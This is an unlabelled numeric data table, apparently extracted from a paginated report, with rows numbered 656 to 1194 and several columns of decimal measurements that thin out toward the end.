656 386.4 41.9 8.3 1574 133.6 382.8 1979 215.4 693.4 2450.9 9.5 1.6
657 392.3 43 8 1605.5 133 400.2 1990 178 704.6 2428.6 9.5 1.6
658 362.7 42.5 7.7 1586.5 131.8 394.4 1976.4 178.2 728.2 2273.9 9.5 1.6
659 347.9 41.4 7.5 1599.9 134.4 394.4 1933.6 190.2 739.4 2387.3 9.5 1.6
660 313.1 39.6 7.5 1566.3 134.8 377 1934.8 227 717.4 2417.5 9.5 1.6
661 287.2 37.8 8.2 1575.3 136.4 377 1957.4 227.2 693.8 2351 9.5 1.6
662 258.8 36.8 8.2 1535.1 135.2 359.6 1944 252.4 694.6 2426.2 9.5 1.6
663 253 36.2 8 1501.5 134.2 345.1 1934.8 214.8 694 2350.8 9.5 1.6
664 258.2 38.7 8.2 1501.6 134.4 345.1 1969.4 227.6 683 2329.5 9.5 2
665 279.3 39.1 9.5 1501.9 134.6 345.1 1981 202.8 716 2386.1 7.9 1.4
666 304.6 40.3 10.2 1508.1 134.8 348 1993.8 228.2 728 2321.6 7.7 1.4
667 357.6 46.1 10.5 1525.8 136.2 353.8 2005.6 239.6 703.2 2253.3 7.7 1.4
668 625 48.4 16.3 1544 139.8 353.8 2003.8 251.4 703.8 2356.8 7.7 1.4
669 637.9 49.3 16.3 1539.3 139 353.8 1969 251 691.4 2426.3 7.7 1.4
670 651.5 50.7 16.2 1619 144.2 379.9 1979.4 250.8 680.6 2381 7.7 1.4
671 710.1 56.7 17.7 1591.8 148 356.7 1955 226 668.8 2469 7.7 1.4
672 918.9 59.1 17.5 1634.8 153 365.4 1932.4 214.6 669.8 2483.8 8.7 1.4
673 918.7 59.5 17.4 1643.1 154.8 365.4 1946.8 228 645.2 2494.9 8.7 1.4
674 994.9 67.5 18.7 1645.7 155 365.4 1971.6 241.2 669.2 2609.2 14.2 1.8
675 1074.9 78.3 22.7 1659.3 152.2 379.9 1948.8 241 657 2624.8 6.6 2.2
676 1060 78.9 22 1670.8 153 382.8 1947.8 253.6 657 2611.3 13.2 2.2
677 1044.2 79.5 22.8 1626.9 152.4 362.5 1913.8 266 668.2 2697.3 14.2 2.2
678 868.7 82.2 16.8 1659.6 152.8 377 1875.8 265.8 669 2722.5 14.2 2.2
679 868.7 83.5 16.5 1690.3 155 385.7 1815.8 265.8 669.4 2587.9 14.2 2.2
680 1013 84.5 16.7 1641.9 151 371.2 1778.2 266.6 693.8 2661.3 14.2 2.2
681 969 81.2 15.7 1668.8 148 391.5 1734.8 254.4 681.6 2648 14.2 2.2
682 771.9 81 15.7 1629 142.6 385.7 1768 242.2 693.6 2550.6 13.2 2.2
683 773.1 79.6 15.9 1648.1 139.6 403.1 1771 218 692.6 2619.1 13.2 2.2
684 708.2 67.9 14.4 1616 137 394.4 1793.8 180.4 669.2 2559.3 8.7 1.2
685 624.8 56.7 9.7 1612.2 140.6 382.8 1807.8 192.6 668.2 2492.8 15.2 1.6
686 635.2 56.2 9.8 1599.8 141.6 374.1 1817.8 179.4 692.4 2556.7 10.8 1.6
687 616.7 49.5 9.2 1599.6 141.4 374.1 1793.6 178.8 668.6 2555.5 9.8 1.6
688 540.5 44 9.5 1532.3 136.6 353.8 1778 217.6 693 2464.4 9.8 1.6
689 529.6 42.3 10 1506.2 134 348 1732.2 255 704.2 2498.3 9.8 1.6
690 375 41.1 9.5 1506.6 133.2 350.9 1687.2 267.6 692.6 2469.1 9.8 1.6
691 366.7 39.2 9 1498.8 134 345.1 1686.6 292.6 691.8 2426.7 10.2 1.6
692 359.4 38.6 8.8 1473.7 134.6 330.6 1686.6 267.8 716 2564.7 10.4 1.6
693 359.7 39.4 8.7 1466.1 135.2 324.8 1676 240.8 691.8 2564.5 10.4 1.6
694 334.1 40.2 8.4 1471.6 136.2 324.8 1676.8 229 679.8 2513.6 9.4 1.6
695 314.5 40 8.1 1493.5 136.8 333.5 1685.2 216 656.4 2599.5 7.3 1.6
696 294.3 38.6 7.7 1495.3 136.2 336.4 1637.8 215.4 633.8 2589.7 9.5 1.6
697 267.9 37.2 7 1525.3 137.4 348 1593.6 228.2 633.2 2549.6 9.5 1.6
698 246.4 36.4 6.7 1522.9 139.2 342.2 1592.4 241 634 2675.3 9.5 1.6
699 240.1 36.6 6.3 1522.9 140.2 339.3 1601.8 253 656.8 2755.5 9.5 1.6
700 243.3 36.6 6.4 1534.6 141.2 342.2 1601 265.6 680.6 2719.6 9.7 1.6
701 243.1 37 6.3 1523.8 140.2 339.3 1613.8 278.6 703.2 2813.5 10.1 1.6
702 245 36.8 6.4 1529.5 139.2 345.1 1623.8 278.4 715 2748.2 9.9 1.6
703 271.7 41.1 7.9 1516.6 139 339.3 1612.4 266 749.4 2656.9 9.9 1.6
704 298.1 42.3 9.6 1529.9 140.4 342.2 1601.2 240.6 750.2 2780.2 9.9 2.8
705 373.6 43.5 15.3 1508.7 141 330.6 1592.4 203.6 749.8 2824.1 12 1.2
706 430.4 48.1 16.3 1514.5 142.4 330.6 1580.6 204.2 727.8 2822.3 12.9 2
707 551.2 59.4 20.4 1506.7 144.4 321.9 1570.2 228.6 727.6 2911.5 13.8 2
708 625.1 65.7 20.9 1538.1 145.8 333.5 1582 253 728.2 2913.3 13.8 2
709 707.7 71.4 21.2 1536.7 146.8 330.6 1580 253.4 704.2 2848.4 14.7 2
710 843 81.7 21.5 1526.5 148 321.9 1566.4 290.6 692.8 2967.8 15.5 2
711 877.5 87.7 21.8 1515.2 148.2 316.1 1553.6 253.2 715.8 2997.4 14.7 2
712 1064.8 95.9 30.7 1553.6 147.8 336.4 1540.8 241.4 681 2972.5 15.6 2
713 1092.7 96.9 29.5 1566.3 149 339.3 1508 216.2 680.2 3104.4 15.6 2
714 1067.1 96.2 27.8 1540.2 147.4 330.6 1520.4 203.6 704.2 3061.8 15.6 2.2
715 991.9 95.1 22 1509.6 143.8 324.8 1520.2 191.2 703.2 2965.5 17.8 2.2
716 958.7 92.1 21.6 1520.7 142.2 332.6 1506.4 228 714.6 3073.3 13.4 1.4
717 838.8 82.6 18 1516.5 137.8 342.2 1507.2 203 726.2 3108.9 12.5 1.4
718 773.9 76.3 18 1503.9 135.4 342.2 1518.2 191.2 704.4 2963.8 12.5 1.4
719 688.2 71 18.1 1502.5 136.2 339.3 1495.6 216.4 692.2 3074.3 11.6 1.4
720 561.8 61.9 18.1 1525.4 136.4 350.9 1496.6 229.2 704.8 3088.5 10.6 1.4
721 666.1 66.4 17.9 1533.8 138 350.9 1522.8 192.6 704.2 2974.8 11.7 1.4
722 606.3 67.2 8.4 1501.8 138.6 333.5 1523.8 204.6 727.2 3134.7 11.6 1.4
723 626.8 66.5 8.5 1513.2 137.6 342.2 1510.4 241.6 714.4 3172.3 11.6 1.4
724 627.2 66.4 8.8 1535.4 137.4 353.8 1476 229 739 3147.8 11.6 1.2
725 634.9 68.1 9.2 1564.4 136.4 371.2 1463 228.6 750.2 3217 9.4 1.2
726 893.5 80.5 8.9 1533.8 135 360.5 1440.6 253.2 716.2 3144.2 8.5 1.2
727 925.6 82 8.9 1516.6 136.2 348 1427.2 241.4 717 3051.8 9.4 1.2
728 923.7 85.4 8.9 1500.1 135.4 342.2 1405.6 215.8 728.4 3211.4 9.4 1.2
729 1035.7 96.2 8.9 1482.7 132 342.2 1393.2 203.2 704.6 3260.2 10.4 1.2
730 1233.8 99.9 8.9 1448.9 128.8 333.5 1362 203 682.4 3169 10.4 1.2
731 1097.8 90 9.1 1436.2 128.6 327.7 1360 178.4 681.4 3299.1 9.3 1.2
732 974.5 81.8 10 1458.9 129.6 336.4 1349.4 215.8 680.6 3236 8.5 1.2
733 912.2 80.6 9.7 1468 131.6 336.4 1358.6 204.4 680.8 3107 8.5 1.2
734 1087 87.6 9.7 1486.3 134.2 339.3 1359.6 229.6 704 3061.8 10.4 1
735 1082.8 86 9.3 1503.5 138.6 336.4 1357 204.8 715 2995 9.4 1
736 814.1 76.9 9.2 1529.4 141.4 342.2 1345 204.4 750.4 2946.2 14.9 2
737 931.4 80 9 1534.9 140.6 348 1332 179.6 750.8 2936.5 14 2
738 925.4 77.1 9 1575.4 144.8 356.7 1298.2 179.2 750.8 2850.7 14 2
739 822.7 66.4 8.8 1585.2 145.6 359.6 1286.6 154 738.6 2720.5 13 2
740 787.8 70.3 8.8 1598.3 147 362.5 1276.8 166.4 751 2667.4 13 2
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741 789.6 70.1 8.6 1633.8 144.8 385.7 1290.4 203.6 750.8 2535.2 13 2
742 793.9 71.3 8.4 1625.5 144.2 382.8 1301.4 191.4 727.4 2439.3 13 2
743 932.7 74.6 15 1592 142 371.2 1313.6 192 750.8 2423.7 13 2
744 753.9 66.4 14.6 1577 139 371.2 1312.4 193.2 750.8 2425.9 11.1 1
745 751.8 67.3 14.6 1579.1 136.8 377 1322.8 180.6 750.4 2408.5 6.4 2.4
746 753.7 64.8 14.7 1550.8 134.6 368.3 1310.2 168.4 715.6 2403.3 0.9 1.4
747 604.5 58.7 14.5 1545 134.4 365.4 1299 167.6 716 2399.1 8.4 1.4
748 609.9 59.8 14.2 1518.7 131.6 359.6 1288.4 179.2 680.8 2359.2 9.4 1.4
749 611.8 59.1 13.8 1516.2 132 356.7 1310.8 215.4 669.8 2358.1 9.4 1.4
750 433.3 49.1 13.3 1523.9 132.2 359.6 1298.4 228.2 657 2396.2 9.4 1.4
751 425.7 48.7 13.1 1507.8 134.6 345.1 1275.6 215 680.4 2397.8 9.4 1.4
752 448.4 48.4 14.1 1513.9 135.8 345.1 1265.6 252.4 668.6 2393.6 9.4 1.4
753 322.2 41.3 8.3 1525.7 135.8 350.9 1275.8 278.4 680.6 2386.9 10 1.4
754 336.9 41.8 8.8 1521.7 138 342.2 1264.6 241.4 703.8 2404.2 23.6 1.4
755 374.1 45.1 10.9 1500.3 137.4 333.5 1276.2 216.2 681.2 2388.6 23.7 1.7
756 371.5 43 10.9 1515.5 137 342.2 1287.2 241.6 658 2378 32 1.8
757 370.5 42.7 10.8 1533.1 138 348 1285.8 229.4 693 2374.2 37.9 3.4
758 379.4 41.5 11.3 1540.3 138.2 350.9 1274.8 191.6 716 2394.7 45.1 3.8
759 379.9 41.5 11.9 1500.4 135.4 339.3 1252.4 191.2 705.2 2418.9 53.2 3.8
760 389.1 41.7 12.3 1490.3 134.6 336.4 1241.6 216.4 705.4 2434 74.5 4.2
761 393.3 40.9 12.5 1483.8 131.4 342.2 1230.4 178.8 716.6 2417.7 78.9 4.7
762 366.6 39.4 11.6 1460.3 130.2 333.5 1230.4 154.4 704.8 2423.5 84.8 5.9
763 343.2 39.8 10.8 1441 131.2 321.9 1218.8 179.2 670.4 2456.8 87.8 6.2
764 330.4 39.7 10.4 1445.4 131.2 324.8 1229.8 179.2 669.4 2453.3 88.3 9.6
765 289.7 35.5 8.2 1457.6 135 321.9 1228.2 179.4 681.2 2485.4 99.5 11.5
766 279.7 35.8 8 1457.9 137.4 316.1 1215.8 217.6 693.2 2483 102.7 18.4
767 282.8 36.4 8.2 1442.9 138 307.4 1193.4 229.4 681.2 2493 136.3 17
768 269.2 36.2 7.6 1429.1 137.6 301.6 1193.6 241.8 681 2492.2 187 16.6
769 260.5 36.8 7.1 1458.1 138.6 313.2 1193.8 279.4 692.2 2479.5 208.8 16.6
770 259.3 38 7 1470.8 138.8 319 1181.8 267.2 715.4 2353.7 187.5 16.2
771 258.9 39.2 7 1448.7 139 307.4 1172.6 242 726.4 2353.8 183.1 15.7
772 258 40.4 6.9 1450.2 139.2 307.4 1183.6 267 738.4 2349.6 177.2 14.5
773 260.9 40.8 7 1467.4 139 316.1 1172.2 241.2 738.4 2322.2 173.6 14.2
774 261.8 41.2 7 1460.2 137.8 316.1 1159.6 216.2 727.2 2309.1 160.4 10.8
775 263.8 40.5 7.2 1459.7 135.2 321.9 1137.2 241.2 704 2311.7 148.2 8.8
776 257.1 40.3 6.9 1447.2 133.8 319 1124.6 252.6 669.6 2318.6 136.7 1.8
777 259.2 40.5 6.9 1449.2 132 324.8 1124.4 215.6 681.6 2322.1 89.7 1.6
778 273 44.8 7.4 1460.3 132 330.6 1122.4 240.8 704.2 2351.5 39.7 1.6
779 294.1 44.8 7.1 1437.1 133 316.1 1089 228.2 681.2 2286.4 9.8 1.6
780 297.7 44 7.3 1404.4 133.4 298.7 1090.4 227.2 668.8 2400.6 9.8 1.6
781 322.1 41.7 7.4 1425.8 134 307.4 1089.6 228 680.8 2413.7 9.8 1.6
782 1454.6 134 321.9 1077.6 240 680.2 2474.4 9.8 1.6
783 1455.4 133 324.8 1067.2 228.4 669.6 2574.5 9.8 1.6
784 1462.3 132 330.6 1079.6 241 692.6 2689.4 8.9 1.6
785 1456.3 129.8 333.5 1088.8 216 716.2 2828.6 9.3 0
786 1457.3 131.2 330.6 1090.4 215.6 716.8 2949.7 9.3 0
787 1449.2 131 327.7 1101.2 203 717.4 2969.8 11.3 0
788 1448.6 131.8 324.8 1101.6 178.8 716.8 3047.2 2.4 0
789 1460.5 131.8 330.6 1101.2 203.2 693.4 3212 2.4 0.4
790 1468.5 131.2 336.4 1080.2 191.4 681.6 3273 2.4 1
791 1464.5 131.6 333.5 1077.4 191.8 691.6 3319.5 2.4 1
792 1453.6 134 321.9 1056 228.4 667.8 3344.8 6.4 1
793 1448 135.2 316.1 1054.6 240 691.6 3310.4 7.2 1
794 1456.6 136.8 316.1 1043.6 203 714.2 3237.4 7.2 2.4
795 1450 137.6 310.3 1054.6 240 738.6 3239.2 6.8 2.8
796 1458.9 135.8 319 1055 252.2 715.6 3239.5 12.1 3.4
797 1476.6 136.6 324.8 1053.6 252.6 704.2 3220.5 12.5 3.4
798 1464.6 136.6 319 1041.6 239.8 668.4 3296.3 19.1 3.4
799 1450.3 136.2 313.2 1028.8 277.4 645.8 3198.3 19.1 3
800 1445.3 135.4 313.2 1017.4 277.4 645 3142.4 19.1 2.4
801 1445.8 135.4 313.2 1006 253.4 645 3166.9 19.1 2.4
802 1425.6 133.6 307.4 984.2 216.6 680 3177.9 16 2.4
803 1418.3 132.2 307.4 985.6 241.8 703.6 3139.1 15.2 2.4
804 1400.5 131 301.6 985.8 241.8 704 3198.8 15.2 1.8
805 1398 131.6 298.7 974.6 229.8 680.2 3153 15.2 2
806 1397.8 131.6 298.7 975.4 228.8 715.4 3051.4 9.9 1.4
807 1369.7 130.8 287.1 985.8 241 680.6 3106.6 16.1 1.4
808 1364 129.8 287.1 975 241 657.6 2897.4 10.4 1.4
809 1383 130 295.8 984.8 216.6 668.8 2912.4 10.4 1.4
810 1378.4 130.2 292.9 972.6 204.6 669 3024.8 11.3 1.4
811 1360.7 130.2 284.2 960.6 204.4 645.4 3065.1 11.3 1.4
812 1361.4 131.6 281.3 949.2 229.4 668.6 3005 11.3 1.4
813 1378.6 135 281.3 936.4 229.6 668 3103.9 12.2 1.4
814 1374.6 136.6 275.5 914.8 254.4 679.2 3064.3 12.2 0.6
815 1358.6 137 266.8 925.2 241.4 680.2 2988.1 12.2 1.4
816 1363.3 138.2 266.8 912.8 229.2 692 3124 12.2 1.4
817 1391.7 142.6 269.7 901.2 204.8 703.6 3172 12.2 1.4
818 1437 149.2 275.5 913.2 192 703.8 3255.8 11.4 1.4
819 1456.1 152 278.4 912.6 154.4 716.2 3387.2 11.4 1.4
820 1474.5 155.6 278.4 903 154.4 739.2 3370.6 10.5 1.4
821 1496.8 156.6 287.1 914.8 167.4 727.8 3292.7 10.5 1.4
822 1498.7 154.8 292.9 914.4 180 704 3334.8 11.4 1.4
823 1482.4 151.6 292.9 902 204.8 715.8 3290.3 10.5 1.4
824 1481.3 149.2 298.7 903.2 229.2 680.6 3263.7 10.5 2.6
825 1500.1 147.4 313.2 912.8 266.2 680.2 3314.7 10.5 1.2
826 1493 145.8 313.2 912.4 290.8 669 3269.4 10.5 2.8
827 1479.5 142 316.1 913.6 290 658.2 3181.9 8.5 2.8
828 1425.4 135 307.4 924.6 278 681.4 3299.2 10.1 2.8
829 1397.7 131.8 301.6 922.6 290.4 693 3213.7 18.1 2.8
830 1379.3 128.2 301.6 913 266.4 657.6 3039.6 18.1 2.8
831 1375.3 126.4 304.5 912.6 241.2 692.6 3045.7 18.1 2.8
832 1398.8 126.4 316.1 912.6 228.6 703 3035 17.2 2.8
833 1401.3 126.8 316.1 890 216.2 703 2973.6 17.2 2.8
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834 1422.7 129.6 319 879 216.4 703 3080.7 17.2 1.6
835 1437.1 131.2 321.9 866.8 203.6 715.4 3104.9 18.1 2.6
836 1441.4 132 321.9 845 228.6 680 3038.3 18.1 1
837 1427.6 131.6 316.1 833 229 667.4 3176.7 12.9 1
838 1430.9 132 316.1 833.6 229 655.4 3079.7 16.3 1
839 1413.8 132 307.4 833.4 205 655.8 2993.8 10.2 1
840 1420.1 133 307.4 831.8 229.6 656.4 3156.3 10.2 1
841 1419.6 133.8 304.5 831.6 230.2 691.4 3224.8 11.1 1
842 1400.5 134.8 292.9 831 242.4 716.2 3192.7 11.1 1
843 1412.2 136 295.8 831.2 241.6 693.6 3302.3 12.6 1
844 1394.3 137.2 284.2 832.2 240 716.6 3292.5 13.9 2.4
845 1393.4 140.2 275.5 832.6 227.8 703.8 3201.1 13 1.4
846 1411.1 141.6 281.3 820.4 202.4 679.8 3309.6 13.8 1.4
847 1428.3 142.6 287.1 808.6 189.8 668.2 3227 19.3 1.4
848 1441.6 144.2 290 797.2 214.8 702.4 3192.6 15.1 1.4
849 1490.3 147 307.4 784.4 227.4 679.2 3369.4 13.2 1.4
850 1499.3 148 310.3 773.4 226.2 679 3355.8 13.2 1.4
851 1495.6 149.6 304.5 772.8 251 691.2 3268 12.3 1.4
852 1500.4 147.2 313.2 773.2 239.2 703.2 3366.4 14.2 1.4
853 1488.6 146 310.3 772.2 202.8 691.8 3305.3 13.6 1.4
854 1504 144.2 321.9 772.4 216.2 715.2 3189.8 12.3 1.4
855 1496.9 142 324.8 771.6 229.6 739 3288 12.3 2.8
856 1487.8 142.2 319 773.8 229.6 726.8 3256.3 11.5 2.8
857 1501.2 142.8 324.8 774.4 254 703.8 3201.5 12.3 2.8
858 1506.8 142.8 327.7 774.2 253.6 704.2 3263.5 19.2 2.8
859 1465.7 139.6 316.1 774.6 228.8 680.4 3047.4 20.1 2.8
860 1462.7 138.6 316.1 764.8 215.8 668.2 2963.2 20.1 2.8
861 1485.7 137.4 330.6 762.8 191.4 681.4 3015.5 20.1 2.8
862 1494.1 137.8 333.5 762.6 203.6 680.6 2935.8 19.1 2.8
863 1510.7 138.6 339.3 763.2 228.8 681 2898.4 18.2 2.8
864 1492 136.4 336.4 763.2 253 680.4 2972.7 18.2 1.4
865 1495.3 135.6 339.3 773.2 265.6 680.6 2990.3 18.2 1.4
866 1470.3 132.2 336.4 774.4 277.4 691.8 2923.3 19.1 1.4
867 1470.1 130.8 339.3 773.8 265.2 703.4 3049.4 11.4 1.4
868 1470.9 132 336.4 773.8 277.2 691.4 3085.3 11.3 1.4
869 1489.8 133.2 342.2 773.8 240.2 692 3075.7 10.4 1.4
870 1503.1 136 342.2 774.4 215.8 704.6 3173.3 10.4 1.4
871 1490 138.2 330.6 774 203.4 692.8 3234.7 10.4 1.4
872 1510 142 330.6 774 216.4 681.2 3219.5 9.5 1.4
873 1499.8 143.6 321.9 773.6 203.6 669.8 3316.6 9.5 1.4
874 1527.9 145.6 330.6 772.2 229 681 3341.1 10.4 2.6
875 1548.9 148.4 333.5 759.8 228.6 692.2 3232.8 10.4 1.2
876 1567.1 150.6 336.4 749 216.4 668.6 3285.3 9.5 1.2
877 1557.9 152.2 327.7 737.2 178.6 703.2 3194.6 16.1 1.2
878 1549.2 150.4 327.7 725.8 179.2 702.8 3096.8 8.5 1.2
879 1555.9 152.6 324.8 715.2 191 715 3265.2 8.5 1.2
880 1533.9 148.6 324.8 716.6 216.2 680.2 3291.8 8.5 1.2
881 1538.2 146 333.5 715.4 253.4 692 3184.5 8.5 1.2
882 1507.6 142.4 327.7 716 279 680.8 3268 8.5 1.2
883 1507.9 141.4 330.6 715.6 279.2 704 3272.4 9.4 1.2
884 1515.1 141.6 333.5 714.2 279.2 704 3178.7 9.3 1
885 1507 140.4 333.5 713.8 266.8 715 3152.1 9.3 1
886 1527 141 342.2 713.8 242.4 703.4 3051.9 9.3 2.4
887 1561.7 144.2 350.9 712.4 242 680.2 3009.8 8.2 2.4
888 1593.3 145 365.4 713.8 254.2 669 2986.1 13.6 2.4
889 1591.5 143.6 368.3 715.2 230 657.6 2826.6 16.6 2.4
890 1619.4 144.2 379.9 713.8 217.6 658.2 2698.2 16.6 2.4
891 1620.5 143.2 382.8 702.2 217.2 680.6 2674.8 16.6 2.4
892 1630.5 142.8 388.6 691.4 229.4 681.2 2564.1 16.6 2.4
893 1632.2 140.8 394.4 678.4 229.2 681.2 2452.1 16.6 2.4
894 1607.8 139.4 385.7 667 253.6 658.6 2451.1 15.8 1.4
895 1589.1 136.8 382.8 656.2 278.6 658.4 2474.7 16.6 2.4
896 1566.9 135 377 656.8 279 659 2485.3 22.1 1
897 1527.6 132 365.4 655.2 266.8 658.4 2484.7 16.7 1
898 1531.3 132.4 365.4 655.4 229.2 681.4 2443.6 11.2 1
899 1551.9 130.8 379.9 648 204.6 715 2538.1 8.2 1
900 516.6 153.6 581.2 2545 8.2 1
901 2558.9 9.1 1
902 2570.1 9.1 1
903 2568.3 8.2 1
904 2562.8 8.2 2
905 2565.9 7.4 1
906 2561.5 7.4 1
907 2559.1 7.3 1
908 2610 7.3 1
909 2607.9 7.3 1
910 2615.7 7.3 1
911 2593.2 8.1 1
912 2586.3 8.1 1
913 2606.6 8.1 1
914 2615.7 8.1 0
915 2607.7 8.1 1.6
916 2598.7 11.4 2.6
917 2596.6 15.9 2.6
918 2570.4 17 2.6
919 2521.4 17 2.6
920 2489.1 17 2.6
921 2502.5 16.2 2.6
922 2509.2 16.2 2.6
923 2485.6 16.2 2.6
924 2458.8 17.2 2.6
925 2425.5 17.2 2.4
926 2399.6 14.6 1.4
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927 2381.2 14.4 1.4
928 2414.3 13.5 1.4
929 2414.6 14.6 1.4
930 2526.1 15.4 1.4
931 2663 15.4 1.4
932 2754.2 17.2 1.4
933 2792.7 17.2 1.6
934 2955.9 16.2 1.8
935 3115 18.2 2.2
936 3292.6 22.7 2.2
937 3306 20 2.2
938 3424.7 19.8 2.2
939 3598 18.7 2.2
940 3655.7 17.9 2.2
941 3525.6 17.3 2.2
942 3558.8 17 2.2
943 3674.7 17 2
944 3601.8 17 3.4
945 3494 19.3 1.6
946 3410.7 14.1 3
947 3450.9 12.5 3
948 3338.4 21.1 3
949 3236.7 21.1 3
950 3072.3 21.1 3
951 3091.9 20.8 3
952 3072.7 20.2 3
953 3087 20.2 3
954 3029.2 21.6 1.4
955 3058.1 18.2 2.6
956 3121.2 12.7 1.2
957 3092.1 20.8 1.2
958 3131.7 12.2 1.2
959 3121.8 12.2 1.2
960 3153 12.2 1.2
961 3204.2 12.2 1.2
962 3194.7 11.3 1.2
963 3047.2 13.6 1.2
964 3087.1 12.2 1.2
965 3178.6 11.3 1
966 3079.6 16.8 1
967 3182.8 8.7 1
968 3258.7 8.7 1
969 3254.2 8.7 1
970 3374.2 8.7 1
971 3387.8 8.7 1
972 3270.8 9.6 1
973 3409.2 7.3 1
974 3512.4 7.3 2.4
975 3385.3 7.3 1.9
976 3406.1 9.5 2.8
977 3356.7 17.5 2.8
978 3233.9 18.7 2.8
979 3153.3 18.7 2.8
980 3136.2 18.7 2.8
981 3051.2 18.7 2.8
982 3113 18.7 2.8
983 3023.9 18.7 2.8
984 2871.2 18.7 1.7
985 2966.3 18.7 2.5
986 3069.7 19.8 1.6
987 3025.9 12 1.6
988 2958.3 10.8 1.6
989 3158.5 10.8 1.6
990 3068.6 10.8 1.6
991 3190.4 10.8 1.6
992 3273.2 9.9 1.6
993 3206.8 10.1 1.6
994 3348.9 10.1 2.5
995 3383.2 17.3 1.2
996 3258.6 8.5 1.2
997 3319.5 8.4 1.2
998 3509 8.4 1.2
999 3380.2 9 1.2
1000 3488.8 9 1.2
1001 3519.1 9.2 1.2
1002 3408 9.2 1.2
1003 3451.1 9 1.2
1004 3411.7 9 1.2
1005 3290.1 1.8 1.2
1006 3315.2 8.4 2.4
1007 3357.1 15.5 2.4
1008 3233.2 15.5 2.4
1009 3180.8 14.9 2.4
1010 3176.7 14.9 2.4
1011 3028 14.7 2.4
1012 3048.8 14.7 2.4
1013 3132.6 14.7 2.4
1014 3043.7 14.7 1.2
1015 3066 14.7 2.6
1016 3160.9 14.9 1.4
1017 3056.9 8.9 1.4
1018 3028.8 8.9 1.4
1019 3165.8 8.9 1.4
Page 12
1020 3068.1 8.9 1.4
1021 3042.8 8.9 1.4
1022 2990.6 8.9 1.4
1023 2866.2 8.9 1.4
1024 2843 9.5 3
1025 2774.6 9.5 1.6
1026 2621.6 11.5 1.6
1027 2579.3 10.3 1.6
1028 2577.2 10.3 1.6
1029 2466.3 10.3 1.6
1030 2423.2 10.3 1.6
1031 2440.1 10.3 1.6
1032 2438.7 10.3 1.6
1033 2426.5 10.3 1.6
1034 2414.7 9.7 0
1035 2427.1 9.7 1.6
1036 2422.5 10.5 2.6
1037 2423.6 11.5 2.6
1038 2403 16.1 2.6
1039 2379.5 16.1 2.6
1040 2351.2 16.9 2.6
1041 2346.9 16.9 2.6
1042 2327.7 16.9 2.6
1043 2319.8 16.9 2.6
1044 2325.1 16.9 2.6
1045 2327.4 23.3 2
1046 2326.4 15.4 1
1047 2348.2 14.4 1
1048 2395.1 10.9 1
1049 2370.5 10.9 1
1050 2421.8 11 1
1051 2415.4 11.8 1
1052 2433 10.9 1
1053 2445.6 10.9 1
1054 2456.3 19.7 2.6
1055 2450 14.9 1.6
1056 2437 13.2 1.6
1057 2419.9 13.2 1.6
1058 2379 12.1 1.6
1059 2424 12.1 1.6
1060 2423.4 13 1.6
1061 2427.9 12.2 1.6
1062 2437.6 13 1.6
1063 2445.8 20.7 3
1064 2441.6 11.9 1.4
1065 2476.2 10.3 1.4
1066 2605.8 18.9 2.8
1067 2699.6 18.9 2.8
1068 2754.1 18.9 2.8
1069 2793.4 19.9 2.8
1070 2735.5 18.5 2.8
1071 2859.3 35.1 3.9
1072 2849 57.2 5.6
1073 2919.6 54.9 4.6
1074 3004.7 62.6 6
1075 3059.7 62.7 6
1076 2973.1 55.3 4.6
1077 2956.9 55.3 4.6
1078 2915.6 55.3 4.6
1079 3025.2 54.3 4.6
1080 3084.2 53.9 4.6
1081 3067.2 37.7 3.5
1082 3200.7 14.8 1.8
1083 3131.9 9.4 1.4
1084 3093.8 3.8 0
1085 3171.3 7.2 0
1086 3169.9 6.2 0
1087 3182.7 6.5 0
1088 3309.7 6.5 0
1089 3190.8 21.5 2.1
1090 3248.8 46.1 2.8
1091 3285.2 88.4 5.8
1092 3184.6 181.8 13.8
1093 3222.6 192.9 14.9
1094 3191.8 195.5 15.6
1095 2988 197.6 16.6
1096 3004.2 197.4 16.6
1097 2978.7 197.9 16.6
1098 2834.4 198.8 16.6
1099 2745.5 183.8 14.5
1100 2770.3 159.2 13.8
1101 2579.7 116.5 10.8
1102 2606.8 23.1 2.8
1103 2578.5 12 1.7
1104 2500.6 15 2.4
1105 2621.1 9.4 1.4
1106 2664.7 9.4 1.4
1107 2546.6 8.6 1.4
1108 2432.8 8 1.4
1109 2538 8.6 1.4
1110 2360.6 8.6 1.4
1111 2343 8.6 1.4
1112 2195.7 8.6 1.4
Page 13
1113 2093.7 8.6 1.4
1114 2077.3 9.7 1.6
1115 1928.3 9.8 1.6
1116 1751 9.8 1.6
1117 1701.6 9.8 1.6
1118 1628.5 9.5 1.6
1119 1344.5 9.8 1.6
1120 1178.6 21.6 1.6
1121 992.3 75.6 6.4
1122 832 75.6 6.4
1123 660.5 75.6 6.6
1124 487.1 73.4 6
1125 307.9 79.9 7.2
1126 150.3 79.9 7.2
1127 5 79.9 7.2
1128 5.8 79.9 7.2
1129 5.8 79.9 7.2
1130 5.8 68.1 7.2
1131 5.8 14.1 2.4
1132 5.8 14.1 2.4
1133 5.4 14.1 2.2
1134 5 16.3 2.8
1135 2.6 9.8 1.6
1136 2.6 9.8 1.6
1137 2.6 9.8 1.6
1138 2.4 9.8 1.6
1139 1.8 9.8 1.6
1140 1.8 9.8 1.6
1141 1.8 9.8 1.6
1142 1.8 9.8 1.6
1143 1.8 9.8 1.6
1144 1.8 8.7 1.4
1145 1.8 8.6 1.4
1146 1.8 8.6 1.4
1147 1.8 8.6 1.4
1148 0.8 31.1 3
1149 1.6 31.1 3
1150 1.6 31.1 3
1151 1.6 31.1 3
1152 3.2 31.1 3
1153 3.2 31.1 3
1154 3.2 32.2 3.2
1155 3.2 40 4.6
1156 3.2 40 4.6
1157 3.2 40 4.6
1158 4.8 17.5 3
1159 4.8 17.5 3
1160 4.8 17.5 3
1161 4.8 17.5 3
1162 3.2 17.5 3
1163 3.2 17.5 3
1164 3.2 14.2 2.4
1165 3.2 6.4 1
1166 3.2 6.4 1
1167 3.2 6.4 1
1168 2.2 6.4 1
1169 1.2 6.4 1
1170 1.2 6.4 1
1171 1.2 6.4 1
1172 1.2 6.4 1
1173 1.2 6.4 1
1174 1.2 1.7 0.2
1175 1.2 9.8 1.6
1176 1.2 9.8 1.6
1177 1.2 9.8 1.6
1178 0.6 9.8 1.6
1179 1.8 26.6 2.8
1180 1.8 26.6 2.8
1181 1.8 26.6 2.8
1182 1.8 26.6 2.8
1183 3 26.6 2.8
1184 3 31.3 3.6
1185 3 32 3.8
1186 3 32 3.8
1187 4 32 3.8
1188 4.3 32.9 3.8
1189 4 15.2 2.6
1190 4 15.2 2.6
1191 4 15.2 2.6
1192 4.2 15.2 2.6
1193 2.8 15.2 2.6
1194 4.2 17.5 3
